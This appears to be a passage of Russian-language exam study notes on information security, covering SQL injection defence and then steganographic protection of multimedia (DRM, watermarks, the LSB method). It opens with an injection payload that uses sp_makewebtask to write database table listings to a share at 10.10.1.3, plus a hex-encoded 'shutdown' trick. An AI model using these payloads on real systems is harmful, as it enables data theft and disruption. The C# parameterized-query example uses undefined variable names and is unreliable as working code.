Polnaya_metodichka

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Указываемый IP должен иметь папку "share" с доступом для Everyone.

ЗАЩИТА ОТ АТАК ТИПА SQL-INJECTION

Защита от SQL инъекции включает две основные стадии:

1. Ревизия кода приложений и устранение проблем, которые могут способствовать SQL

инъекции. Для этого может использоваться:

Дублирование кавычек во входных данных

int age = ...;// Возраст, введенный пользователем. string name = ...;// Имя, введенное пользователем, name = name.Replace( " ' "," ' ' " );

SqlConnection sql = new SqlConnection(...); sql.Open();

sqlstring = @"SELECT * FROM client WHERE name= '" + name + "' or age=" +age; SqlCommand cmd = new SqlCommand(sqlstring,sql);

Код удваивает все одинарные кавычки в данных, введенных пользователем. Таким образом, если злоумышленник попытается в качестве имени ввести

что-нибудь вроде "Michael' or 1 = 1 --", одиночная кавычка (отделяющая имя) продублируется, лишив возможности провести атаку, поскольку до оператора комментария получается некорректное SQL-выражение. Но это не остановит злоумышленника, всегда могут найтись лазейки. Например, он может воспользоваться функцией char(0x27). Или еще вариант:

declare @a char(20) select @a=0x73687574646f776e exec(@a)

Эта команда формирует команду shutdown.

Параметризованные запросы.

Заключается в использовании символов подстановки (placeholder), которые называются параметризованными командами (parameterized command). При написании запроса программист определяет, какие части SQL-выражения должны быть параметрами. Затем присваиваются конкретные значения параметрам, которые передаются в БД вместе с SQL-запросом.

Пример работы с параметрами запроса на C#:

string commandText = "SELECT * FROM Customers "+"WHERE Country=@Param1 AND Age

> @Param2";

SqlCommand cmd = new SqlCommand(commandText, conn);

SqlParameter par1 = new SqlParameter("@Param1", SqlDbType.VarChar, 11);

myParam.Value = "Garden Hose";

SqlParameter par2 = new SqlParameter("@Param2", SqlDbType.Int, 4); myParam2.Value = 42;

cmd.Parameters.Add(par1);

cmd.Parameters.Add(par2);

Преимущества параметризованных запросов

-выполняются быстрее, чем сконструированные в коде приложения SQL-запросы

-более устойчивы к sql-инъкциям.

-возможно указать для них тип данных. Например, при определении числового параметра, строгий контроль типов пресечет на корню множество SQL-атак, поскольку они невозможны с использованием одних только чисел, нужен еще и текст.

2.Использование принципа наименьшего количества привилегий на уровне базы данных

так, чтобы даже если кто-то смог изменить SQL запрос, он не смог бы получить больше информации, чем бы он мог получить через предназначенный для этого интерфейс приложения.

Использование этого принципа позволяет защититься от непосредственного получения информации о структуре БД из системных таблиц и запуска хранимых процедур на исполнение. Большинству Web-приложений для нормальной работы полномочия системного администратора не требуются, обычно им приходится запрашивать и реже — добавлять и изменять данные. Если подключение создано от имени системного администратора и SQL-код содержит ошибки, например, позволяющие проводить атаки с внедрением SQL, хакеру становятся доступны все операции, разрешенные системному администратору, в том числе:

•удаление любой базы данных или отдельной таблицы;

•удаление любых данных из любых таблиц;

•модификация любых данных из любых таблиц;

•модификация любых хранимых процедур, триггеров или правил;

•удаление журналов;

•добавление новых пользователей базы данных;

•вызов любых административных или расширенных хранимых процедур.

Способ воспрепятствовать этому — поддержка аутентифицированных подключений с использованием встроенного в операционную систему механизма аутентификации и авторизации:

1.В строку подключения добавляется Trusted_Connection=True.

2.Добавляются права доступа к различным объектам БД средствами СУБД с помощью операторов GRANT и REVOKE. Синтаксис оператора:

GRANT privilege [, ...] ON object [, ...]

TO { PUBLIC | username | GROUP groupname }

В качестве объектов могут выступать только целые таблицы и представления. Чтобы ограничить доступ какого-либо пользователя только к части столбцов таблицы, нужно запретить ее непосредственный просмотр, разрешить его с помощью представления.

Если по каким-либо причинам невозможно (или запрещено) прибегнуть ко встроенным механизмам аутентификации, создают специальную учетную запись в базе данных с лишь необходимыми привилегиями на чтение, запись и обновление соответствующих данных в базе и используйте для подключения только ее. Полномочия этой учетной записи необходимо регулярно проверять, чтобы администратор по ошибке не наделил ее лишними правами и не поставил систему под удар.

И последнее, что следует предпринять – поставить запрет вывода отладочных сообщений от СУБД.

21. Методы и особенности защиты мультимедиа информации.

Технические средства защиты авторских прав (ТСЗАП, англ. DRM) — чаще программные, реже программно-аппаратные средства, которые затрудняют создание копий защищаемых произведений (распространяемых в электронной форме) либо позволяют отследить создание таких копий.

Основными методами защиты авторских прав мультимедиа информации являются алгоритмы, основанные на стеганографии. Стеганография является наукой, обеспечивающей обмен информацией таким образом, что скрывается сам факт существования секретной связи. Слово "стеганография" в переводе с греческого буквально означает "тайнопись" (steganos – секрет, тайна; graphy – запись). Стеганография не заменяет криптографию (шифрование данных), а дополняет ее еще одним уровнем безопасности. При обработке данных стеганографическими методами происходит скрытие передаваемой информации в других объектах (файлах, дисках и т. п.) таким образом, чтобы постороннее лицо не догадывалось о существовании скрытого секретного сообщения.

Внесенные искажения должны быть ниже уровня чувствительности средств распознавания. Кроме скрытой передачи сообщений, стеганография применяется для аутентификации и маркировки авторской продукции. При этом, часто в качестве внедряемой информации используются дата и место создания продукта, данные об авторе, номер лицензии, серийный номер и др. Эта информация обычно внедряется как в графические аудио произведения, так и в защищаемые программные продукты. Стеганографическая система или стегосистема – совокупность средств и методов, которые используются для формирования скрытого канала передачи информации.

В качестве данных может использоваться любая информация: текст, сообщение, изображение и т.п. Любая стегосистема должна отвечать следующим требованиям:

− Свойства контейнера должны быть модифицированы, чтобы изменение невозможно было выявить при визуальном контроле. Это требование определяет качество сокрытия

внедряемого сообщения: для обеспечения беспрепятственного прохождения стегосообщения по каналу связи - оно никоим образом не должно привлечь внимание атакующего.

−Стегосообщение должно быть устойчиво к искажениям, в том числе и злонамеренным. В процессе передачи изображение (звук или другой контейнер) может претерпевать различные трансформации: уменьшаться или увеличиваться, преобразовываться в другой формат и т. д. Кроме того, оно может быть сжато, в том числе и с использованием алгоритмов сжатия с потерей данных.

−Для сохранения целостности встраиваемого сообщения необходимо использование кода с исправлением ошибки.

−Для повышения надежности встраиваемое сообщение должно быть продублировано. В настоящее время можно выделить три тесно связанных между собой и имеющих одни корни направления приложения стеганографии: сокрытие данных (сообщений), цифровые водяные знаки (watermark/patchwork) и цифровые отпечатки fingerprint (Эл. Цифровая

Подпись).

Сокрытие внедряемых данных, которые в большинстве случаев имеют большой объем, предъявляет серьезные требования к контейнеру: размер контейнера в несколько раз должен превышать размер встраиваемых данных. Цифровой водяной знак представляет собой некоторую информацию, которая добавляется к цифровому мультимедиа-материалу и может быть позднее обнаружена или извлечена для предъявления прав на этот материал (в качестве которого могут выступать оцифрованный звук, изображение или видео). Цифровой отпечаток представляет собой вариацию цифрового водяного знака с тем лишь отличием, что каждая копия защищаемого материала имеют свою собственную уникальную метку, что позволяет впоследствии идентифицировать покупателя, через которого произошло нелицензионное копирование. Для большинства современных методов, используемых для сокрытия, имеет место зависимость надежности встраиваемой метки от ее размера, представленная на графике зависимости надежности встроенной метки от ее размера:

Компьютерная стеганография — направление классической стеганографии, основанное на особенностях компьютерной платформы. Примеры — стеганографическая файловая система StegFS для Linux, скрытие данных в неиспользуемых областях форматов файлов, подмена символов в названиях файлов, текстовая стеганография и т. д. Приведём некоторые примеры:

Использование зарезервированных полей компьютерных форматов файлов — суть метода состоит в том, что часть поля расширений, не заполненная информацией о расширении, по умолчанию заполняется нулями. Соответственно мы можем использовать эту «нулевую» часть для записи своих данных. Недостатком этого метода является низкая степень скрытности и малый объём передаваемой информации.

Метод скрытия информации в неиспользуемых местах гибких дисков — при использовании этого метода информация записывается в неиспользуемые части диска, к примеру, на нулевую дорожку. Недостатки: маленькая производительность, передача небольших по объёму сообщений.

Метод использования особых свойств полей форматов, которые не отображаются на экране — этот метод основан на специальных «невидимых» полях для получения сносок, указателей. К примеру, написание чёрным шрифтом на чёрном фоне. Недостатки: маленькая производительность, небольшой объём передаваемой информации.

Использование особенностей файловых систем — при хранении на жестком диске файл всегда (не считая некоторых ФС, например, ReiserFS) занимает целое

число кластеров(минимальных адресуемых объёмов информации). К примеру, в ранее широко используемой файловой системе FAT32 (использовалась в Windows98/Me/2000) стандартный размер кластера — 4 Кб. Соответственно для хранения 1 Кб информации на диске выделяется 4 Кб информации, из которых 1Кб нужен для хранения сохраняемого файла, а остальные 3 ни на что не используются — соответственно их можно использовать для хранения информации. Недостаток данного метода: лёгкость обнаружения.

Цифровая стеганография — направление классической стеганографии, основанное на сокрытии или внедрении дополнительной информации в цифровые объекты, вызывая при этом некоторые искажения этих объектов. Но, как правило, данные объекты являются мультимедиа-объектами (изображения, видео, аудио, текстуры 3D-объектов) и внесение искажений, которые находятся ниже порога чувствительности среднестатистического человека, не приводит к заметным изменениям этих объектов. Кроме того, в оцифрованных объектах, изначально имеющих аналоговую природу, всегда присутствует шум квантования; далее, при воспроизведении этих объектов появляется дополнительный аналоговый шум и нелинейные искажения аппаратуры, все это способствует большей незаметности сокрытой информации.

Алгоритмы

Все алгоритмы встраивания скрытой информации можно разделить на несколько подгрупп:

Работающие с самим цифровым сигналом. Например, метод LSB.

«Впаивание» скрытой информации. В данном случае происходит наложение скрываемого изображения (звука, иногда текста) поверх оригинала. Часто используется для встраивания ЦВЗ.

Использование особенностей форматов файлов. Сюда можно отнести запись информации в метаданные или в различные другие не используемые зарезервированные поля файла.

По способу встраивания информации стегоалгоритмы можно разделить на линейные (аддитивные), нелинейные и другие. Алгоритмы аддитивного внедрения информации заключаются в линейной модификации исходного изображения, а её извлечение в декодере производится корелляционными методами. При этом ЦВЗ обычно складывается с изображением-контейнером, либо «вплавляется» (fusion) в него. В нелинейных методах встраивания информации используется скалярное либо векторное квантование. Среди других методов определенный интерес представляют методы, использующие идеи фрактального кодирования изображений.

Метод LSB

LSB (Least Significant Bit, наименьший значащий бит) — суть этого метода заключается в замене последних значащих битов в контейнере (изображения, аудио или видеозаписи) на биты скрываемого сообщения. Разница между пустым и заполненным контейнерами должна быть не ощутима для органов восприятия человека.

Суть метода заключается в следующем: Допустим, имеется 8-битное изображение в градациях серого. 00h (00000000b) обозначает чёрный цвет, FFh (11111111b) — белый. Всего имеется 256 градаций (). Также предположим, что сообщение состоит из 1 байта — например, 01101011b. При использовании 2 младших бит в описаниях пикселей, нам потребуется 4 пикселя. Допустим, они чёрного цвета. Тогда пиксели, содержащие скрытое сообщение, будут выглядеть следующим образом: 00000001 00000010 00000010 00000011. Тогда цвет пикселей изменится: первого — на 1/255, второго и третьего — на 2/255 и четвёртого — на 3/255. Такие градации, мало того что незаметны для человека, могут вообще не отобразиться при использовании низкокачественных устройств вывода.

Методы LSB являются неустойчивыми ко всем видам атак и могут быть использованы только при отсутствии шума в канале передачи данных.

Обнаружение LSB-кодированного стего осуществляется по аномальным характеристикам распределения значений диапазона младших битов отсчётов цифрового сигнала.

Все методы LSB являются, как правило, аддитивными (A17, L18D).

Другие методы скрытия информации в графических файлах ориентированы на форматы файлов с потерей, к примеру, JPEG. В отличие от LSB они более устойчивы к геометрическим преобразованиям. Это получается за счёт варьирования в широком диапазоне качества изображения, что приводит к невозможности определения источника изображения.

Эхо-методы

Эхо-методы применяются в цифровой аудиостеганографии и используют неравномерные промежутки между эхо-сигналами для кодирования последовательности значений. При наложении ряда ограничений соблюдается условие незаметности для человеческого восприятия. Эхо характеризуется тремя параметрами: начальной амплитудой, степенью затухания, задержкой. При достижении некоего порога между сигналом и эхом они смешиваются. В этой точке человеческое ухо не может уже отличить эти два сигнала. Наличие этой точки сложно определить, и она зависит от качества исходной записи,

слушателя. Чаще всего используется задержка около 1/1000, что вполне приемлемо для большинства записей и слушателей. Для обозначения логического нуля и единицы используется две различных задержки. Они обе должны быть меньше, чем порог чувствительности уха слушателя к получаемому эху.

Эхо-методы устойчивы к амплитудным и частотным атакам, но неустойчивы к атакам по времени.

Фазовое кодирование

Фазовое кодирование (phase coding, фазовое кодирование) — так же применяется в цифровой аудиостеганографии. Происходит замена исходного звукового элемента на относительную фазу, которая и является секретным сообщением. Фаза подряд идущих элементов должна быть добавлена таким образом, чтобы сохранить относительную фазу между исходными элементами. Фазовое кодирование является одним из самых эффективных методов скрытия информации.

Метод расширенного спектра

Метод встраивания сообщения заключается в том, что специальная случайная последовательность встраивается в контейнер, затем, используя согласованный фильтр, данная последовательность детектируется. Данный метод позволяет встраивать большое количество сообщений в контейнер, и они не будут создавать помехи друг другу. Метод заимствован из широкополосной связи.

22. Стеганографические методы защиты графических файлов. Метод LSB.

Стеганогра́фия — это наука о скрытой передаче информации путём сохранения в тайне самого факта передачи.

В отличие от криптографии, которая скрывает содержимое секретного сообщения, стеганография скрывает сам факт его существования. Как правило, сообщение будет выглядеть как что-либо иное, например, как обычное изображение, если речь идет о защите графического файла.

Алгоритмы встраивания скрытой информации можно разделить на несколько подгрупп:

1.Работающие с самим цифровым сигналом. Например, метод LSB.

2.«Впаивание» скрытой информации. В данном случае происходит наложение скрываемого изображения (звука, иногда текста) поверх оригинала.

3.Использование особенностей форматов файлов. Сюда можно отнести запись информации в метаданные или в различные другие не используемые зарезервированные поля файла.

Для стеганографической системы введены следующие ключевые понятия:Сообщение — это термин, используемый для общего названия

передаваемой скрытой информации.

Контейнер — любая информация, используемая для сокрытия тайного сообщения. В данном случае изображение. Пустой контейнер — контейнер, не содержащий секретного послания. Заполненный контейнер (стегоконтейнер) — контейнер, содержащий секретное послание.

Рассмотрим метод LSB (Least Significant Bit, наименьший значащий бит). Cуть этого метода заключается в замене последних значащих битов в

контейнере (изображения, аудио или видеозаписи) на биты скрываемого сообщения. Разница между пустым и заполненным контейнерами должна быть не ощутима для органов восприятия человека.

В формате BMP изображение хранится как матрица значений оттенков цвета для каждой точки хранимого изображения. Если каждая из компонент пространства RGB (их еще называют каналами цвета) хранится в одном байте, она может принимать значения от 0 до 255 включительно, что соответствует 24-х битной глубине цвета. Особенность зрения человека заключается в том, что оно слабо различает незначительные колебания цвета. Для 24-х битного цвета изменение в каждом из трех каналов одного наименее значимого бита (то есть крайнего правого) приводит к изменению менее чем на 1% интенсивности данной точки, что позволяетизменять их незаметно для глаза по своему усмотрению.

Рассчитаем пропускную способность метода. Если отбросить в расчетах обычно незначительную относительно размера изображения служебную информацию в начале файла, то мы имеем возможность скрытно передать сообщение размером в 1/8 размера контейнера ("размазанную" по последним битам в каждом байте матрицы цветов пикселей) или же размером в 1/4 контейнера (соответственно при использовании 2 последних битов в байтах).

Принцип работы стеганографического метода заключается в следующем. Пусть, имеется 24-х битное изображение в градациях серого. Пиксел

кодируется 3 байтами, и в них расположены значения каналов RGB. Изменяя наименее значащий бит мы меняем значение байта на единицу. Такие градации, мало того что незаметны для человека, могут вообще не отобразиться при использовании низкокачественных устройств вывода.

Сокрытие информации в изображении

Приведенный ниже пример показывает, как сообщение может быть скрыто в первых восьми байтах, относящихся к трем пикселей в 24-битного изображения

Pixels: (00100111 11101001 11001000) (00100111 11001000 11101001) (11001000 00100111 11101001)

A:01000001

Result: (00100110 11101001 11001000) (00100110 11001000 11101000) (11001000 00100111 11101001)

В примере подчеркнуты только те три бита, которые были фактически изменены. Применение стеганографического метода LSB в среднем требует, что только половина бит изображения-контейнера были изменены.

Небольшая модификация этой стеганографической техники позволяет использовать для встраивания сообщения два или более младших битов на байт. Это увеличивает объем скрытой информации в объекте-контейнере, но скрытность сильно снижается, что облегчает обнаружение стеганографии. Другие вариации этого метода включают в себя нивелирование статистических изменений в изображении. Некоторые интеллектуальное программное обеспечение для выявления стеганографии проверяет области, которые состоят из одного сплошного цвета. Для повышения скрытности следует избежать записи изменений в эти пиксели.

Преимущества:

1.размер файла-контейнера остается неизменным;

2.при замене одного бита в канале синего цвета внедрение невозможно заметить визуально;

3.возможность варьировать пропускную способность, изменяя количество заменяемых бит.

Недостатки: